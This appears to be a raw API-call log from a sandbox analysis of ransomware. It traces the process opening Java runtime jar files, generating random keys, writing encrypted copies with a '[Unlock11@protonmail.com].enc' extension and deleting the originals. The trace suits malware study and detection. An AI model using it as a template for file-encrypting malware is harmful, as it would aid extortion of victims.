0x0 [0132.311] GetLastError () returned 0x0 [0132.311] GetLastError () returned 0x0 [0132.311] GetCurrentThreadId () returned 0x9b0 [0132.311] GetLastError () returned 0x0 [0132.312] GetCurrentThreadId () returned 0x9b0 [0132.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a3e8 [0132.312] GetLastError () returned 0x0 [0132.312] GetLastError () returned 0x0 [0132.312] GetLastError () returned 0x0 [0132.312] GetLastError () returned 0x0 [0132.312] GetCurrentThreadId () returned 0x9b0 [0132.312] GetLastError () returned 0x0 [0132.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0132.312] GetLastError () returned 0x0 [0132.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0132.313] GetLastError () returned 0x0 [0132.313] GetLastError () returned 0x0 [0132.313] GetLastError () returned 0x0 [0132.313] GetCurrentThreadId () returned 0x9b0 [0132.313] GetLastError () returned 0x0 [0132.313] GetLastError () returned 0x0 [0132.313] GetLastError () returned 0x0 [0132.313] GetLastError () returned 0x0 [0132.313] GetLastError () returned 0x0 [0132.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.314] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661)) returned 1 [0132.314] GetLastError () returned 0x0 [0132.314] GetCurrentThreadId () returned 0x9b0 [0132.314] GetLastError () returned 0x0 [0132.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0132.314] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d37c | out: pbBuffer=0x366d37c) returned 1 [0132.314] GetCurrentThreadId () returned 0x9b0 [0132.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0132.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0132.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0132.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.315] GetLastError () returned 0x0 [0132.315] GetLastError () returned 0x0 [0132.315] GetLastError () returned 0x0 [0132.315] GetLastError () returned 0x0 [0132.315] GetCurrentThreadId () returned 0x9b0 [0132.315] GetLastError () returned 0x0 [0132.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.315] GetCurrentThreadId () returned 0x9b0 [0132.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.316] GetLastError () returned 0x0 [0132.316] GetLastError () returned 0x0 [0132.316] GetLastError () returned 0x0 [0132.316] GetLastError () returned 0x0 [0132.316] GetCurrentThreadId () returned 0x9b0 [0132.316] GetLastError () returned 0x0 [0132.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.316] GetCurrentThreadId () returned 0x9b0 [0132.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6448 [0132.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4a30 | out: hHeap=0x2ad0000) returned 1 [0132.317] GetLastError () returned 0x0 [0132.317] GetLastError () returned 0x0 [0132.317] GetLastError () returned 0x0 [0132.317] GetLastError () returned 0x0 [0132.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64b8 [0132.317] GetLastError () returned 0x0 [0132.317] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.318] GetFileType (hFile=0x39c) returned 0x1 [0132.318] GetLastError () returned 0x0 [0132.318] GetCurrentThreadId () returned 0x9b0 [0132.318] GetLastError () returned 0x0 [0132.318] GetFileType (hFile=0x39c) returned 0x1 [0132.318] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.318] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.318] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.319] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.319] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.319] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.319] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.319] GetLastError () returned 0x0 [0132.319] GetCurrentThreadId () returned 0x9b0 [0132.319] GetLastError () returned 0x0 [0132.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0132.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0132.319] GetLastError () returned 0x0 [0132.319] GetLastError () returned 0x0 [0132.319] GetLastError () returned 0x0 [0132.320] GetLastError () returned 0x0 [0132.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0132.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6488 [0132.320] GetLastError () returned 0x0 [0132.320] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.320] GetFileType (hFile=0x3ac) returned 0x1 [0132.321] GetLastError () returned 0x0 [0132.321] GetCurrentThreadId () returned 0x9b0 [0132.321] GetLastError () returned 0x0 [0132.321] GetFileType (hFile=0x3ac) returned 0x1 [0132.321] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.321] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.321] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.321] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.321] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.321] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.321] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.321] GetLastError () returned 0x0 [0132.322] GetCurrentThreadId () returned 0x9b0 [0132.322] GetLastError () returned 0x0 [0132.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6488 | out: hHeap=0x2ad0000) returned 1 [0132.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0132.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0132.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0132.322] GetLastError () returned 0x0 [0132.322] GetLastError () returned 0x0 [0132.322] GetCurrentThreadId () returned 0x9b0 [0132.322] GetLastError () returned 0x0 [0132.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0132.323] GetLastError () returned 0x0 [0132.323] GetLastError () returned 0x0 [0132.323] GetCurrentThreadId () returned 0x9b0 [0132.323] GetLastError () returned 0x0 [0132.323] GetLastError () returned 0x0 [0132.325] GetLastError () returned 0x0 [0132.325] GetCurrentThreadId () returned 0x9b0 [0132.325] GetLastError () returned 0x0 [0132.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6448 | out: hHeap=0x2ad0000) returned 1 [0132.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.325] GetCurrentThreadId () returned 0x9b0 [0132.326] GetLastError () returned 0x0 [0132.326] GetLastError () returned 0x0 [0132.326] GetLastError () returned 0x0 [0132.326] GetLastError () returned 0x0 [0132.326] GetCurrentThreadId () returned 0x9b0 [0132.326] GetLastError () returned 0x0 [0132.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0132.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.327] GetLastError () returned 0x0 [0132.328] GetLastError () returned 0x0 [0132.328] GetCurrentThreadId () returned 0x9b0 [0132.329] GetLastError () returned 0x0 [0132.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.329] GetLastError () returned 0x0 [0132.329] GetLastError () returned 0x0 [0132.330] GetCurrentThreadId () returned 0x9b0 [0132.330] GetLastError () returned 0x0 [0132.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6578 [0132.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6418 | out: hHeap=0x2ad0000) returned 1 [0132.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.330] GetLastError () returned 0x0 [0132.331] GetLastError () returned 0x0 [0132.331] GetLastError () returned 0x0 [0132.331] GetLastError () returned 0x0 [0132.331] GetCurrentThreadId () returned 0x9b0 [0132.331] GetLastError () returned 0x0 [0132.331] GetCurrentThreadId () returned 0x9b0 [0132.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0132.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.331] GetLastError () returned 0x0 [0132.332] GetLastError () returned 0x0 [0132.333] GetCurrentThreadId () returned 0x9b0 [0132.333] GetLastError () returned 0x0 [0132.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.333] GetLastError () returned 0x0 [0132.334] GetLastError () returned 0x0 [0132.335] GetCurrentThreadId () returned 0x9b0 [0132.335] GetLastError () returned 0x0 [0132.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64a8 [0132.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6578 | out: hHeap=0x2ad0000) returned 1 [0132.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.335] GetLastError () returned 0x0 [0132.336] GetLastError () returned 0x0 [0132.336] GetLastError () returned 0x0 [0132.336] GetLastError () returned 0x0 [0132.336] GetCurrentThreadId () returned 0x9b0 [0132.336] GetLastError () returned 0x0 [0132.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.336] GetCurrentThreadId () returned 0x9b0 [0132.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0132.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0132.337] GetLastError () returned 0x0 [0132.337] GetLastError () returned 0x0 [0132.338] GetCurrentThreadId () returned 0x9b0 [0132.338] GetLastError () returned 0x0 [0132.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.338] GetLastError () returned 0x0 [0132.340] GetLastError () returned 0x0 [0132.340] GetCurrentThreadId () returned 0x9b0 [0132.340] GetLastError () returned 0x0 [0132.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6408 [0132.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64a8 | out: hHeap=0x2ad0000) returned 1 [0132.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.376] GetLastError () returned 0x0 [0132.388] GetLastError () returned 0x0 [0132.388] GetLastError () returned 0x0 [0132.388] GetLastError () returned 0x0 [0132.388] GetCurrentThreadId () returned 0x9b0 [0132.388] GetLastError () returned 0x0 [0132.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.389] GetLastError () returned 0x0 [0132.390] GetLastError () returned 0x0 [0132.390] GetCurrentThreadId () returned 0x9b0 [0132.390] GetLastError () returned 0x0 [0132.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.390] GetLastError () returned 0x0 [0132.390] GetLastError () returned 0x0 [0132.390] GetCurrentThreadId () returned 0x9b0 [0132.390] GetLastError () returned 0x0 [0132.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.391] GetCurrentThreadId () returned 0x9b0 [0132.391] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x4685) returned 0x36f8548 [0132.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6488 [0132.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6408 | out: hHeap=0x2ad0000) returned 1 [0132.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4688) returned 0x35c0a00 [0132.391] GetLastError () returned 0x0 [0132.391] GetLastError () returned 0x0 [0132.391] GetLastError () returned 0x0 [0132.391] GetLastError () returned 0x0 [0132.392] GetCurrentThreadId () returned 0x9b0 [0132.392] GetLastError () returned 0x0 [0132.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0132.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.392] GetLastError () returned 0x0 [0132.393] GetLastError () returned 0x0 [0132.393] GetCurrentThreadId () returned 0x9b0 [0132.393] GetLastError () returned 0x0 [0132.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fcbd8 | out: hHeap=0x2ad0000) returned 1 [0132.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fcbd8 [0132.393] GetLastError () returned 0x0 [0132.394] GetLastError () returned 0x0 [0132.394] GetCurrentThreadId () returned 0x9b0 [0132.394] GetLastError () returned 0x0 [0132.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fcbd8 | out: hHeap=0x2ad0000) returned 1 [0132.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.394] GetCurrentThreadId () returned 0x9b0 [0132.394] GetLastError () returned 0x0 [0132.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0132.394] CloseHandle (hObject=0x3ac) returned 1 [0132.395] GetLastError () returned 0x0 [0132.395] GetCurrentThreadId () returned 0x9b0 [0132.395] GetLastError () returned 0x0 [0132.395] GetLastError () returned 0x0 [0132.395] CloseHandle (hObject=0x39c) returned 1 [0132.395] GetLastError () returned 0x0 [0132.395] GetCurrentThreadId () returned 0x9b0 [0132.395] GetLastError () returned 0x0 [0132.396] GetLastError () returned 0x0 [0132.396] GetLastError () returned 0x0 [0132.396] GetLastError () returned 0x0 [0132.396] GetLastError () returned 0x0 [0132.396] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0132.399] GetLastError () returned 0x0 [0132.399] GetCurrentThreadId () returned 0x9b0 [0132.399] GetLastError () returned 0x0 [0132.399] GetLastError () returned 0x0 [0132.399] GetLastError () returned 0x0 [0132.400] GetLastError () returned 0x0 [0132.400] GetLastError () returned 0x0 [0132.400] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", lpFilePart=0x9bada4*="sunmscapi.jar") returned 0x38 [0132.400] GetCurrentThreadId () returned 0x9b0 [0132.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0132.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0132.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0132.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0132.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.400] GetCurrentThreadId () returned 0x9b0 [0132.400] GetLastError () returned 0x0 [0132.401] GetLastError () returned 0x0 [0132.401] GetLastError () returned 0x0 [0132.401] GetLastError () returned 0x0 [0132.401] GetCurrentThreadId () returned 0x9b0 [0132.401] GetLastError () returned 0x0 [0132.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5d20 [0132.401] GetLastError () returned 0x0 [0132.401] GetLastError () returned 0x0 [0132.401] GetLastError () returned 0x0 [0132.402] GetLastError () returned 0x0 [0132.402] GetCurrentThreadId () returned 0x9b0 [0132.402] GetLastError () returned 0x0 [0132.402] GetLastError () returned 0x0 [0132.402] GetLastError () returned 0x0 [0132.402] GetLastError () returned 0x0 [0132.402] GetLastError () returned 0x0 [0132.402] GetCurrentThreadId () returned 0x9b0 [0132.402] GetLastError () returned 0x0 [0132.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5d20 | out: hHeap=0x2ad0000) returned 1 [0132.402] GetCurrentThreadId () returned 0x9b0 [0132.403] GetLastError () returned 0x0 [0132.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0132.403] GetLastError () returned 0x0 [0132.403] GetLastError () returned 0x0 [0132.403] GetLastError () returned 0x0 [0132.403] GetCurrentThreadId () returned 0x9b0 [0132.403] GetLastError () returned 0x0 [0132.403] GetLastError () returned 0x0 [0132.403] GetLastError () returned 0x0 [0132.403] GetLastError () returned 0x0 [0132.404] GetLastError () returned 0x0 [0132.404] GetCurrentThreadId () returned 0x9b0 [0132.404] GetLastError () returned 0x0 [0132.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0132.404] GetLastError () returned 0x0 [0132.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0132.404] GetLastError () returned 0x0 [0132.404] GetLastError () returned 0x0 [0132.404] GetLastError () returned 0x0 [0132.404] GetCurrentThreadId () returned 0x9b0 [0132.404] GetLastError () returned 0x0 [0132.405] GetLastError () returned 0x0 [0132.405] GetLastError () returned 0x0 [0132.405] GetLastError () returned 0x0 [0132.405] GetLastError () returned 0x0 [0132.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.405] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb)) returned 1 [0132.405] GetLastError () returned 0x0 [0132.405] GetCurrentThreadId () returned 0x9b0 [0132.405] GetLastError () returned 0x0 [0132.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0132.406] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d354 | out: pbBuffer=0x366d354) returned 1 [0132.406] GetCurrentThreadId () returned 0x9b0 [0132.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0132.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0132.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0132.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.406] GetLastError () returned 0x0 [0132.406] GetLastError () returned 0x0 [0132.406] GetLastError () returned 0x0 [0132.406] GetLastError () returned 0x0 [0132.407] GetCurrentThreadId () returned 0x9b0 [0132.407] GetLastError () returned 0x0 [0132.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.407] GetCurrentThreadId () returned 0x9b0 [0132.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0132.407] GetLastError () returned 0x0 [0132.407] GetLastError () returned 0x0 [0132.407] GetLastError () returned 0x0 [0132.407] GetLastError () returned 0x0 [0132.407] GetCurrentThreadId () returned 0x9b0 [0132.407] GetLastError () returned 0x0 [0132.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5be0 | out: hHeap=0x2ad0000) returned 1 [0132.408] GetCurrentThreadId () returned 0x9b0 [0132.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6398 [0132.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0132.408] GetLastError () returned 0x0 [0132.408] GetLastError () returned 0x0 [0132.408] GetLastError () returned 0x0 [0132.408] GetLastError () returned 0x0 [0132.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0132.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6518 [0132.409] GetLastError () returned 0x0 [0132.409] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.409] GetFileType (hFile=0x39c) returned 0x1 [0132.409] GetLastError () returned 0x0 [0132.409] GetCurrentThreadId () returned 0x9b0 [0132.409] GetLastError () returned 0x0 [0132.409] GetFileType (hFile=0x39c) returned 0x1 [0132.409] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.410] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.410] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.410] GetLastError () returned 0x0 [0132.410] GetCurrentThreadId () returned 0x9b0 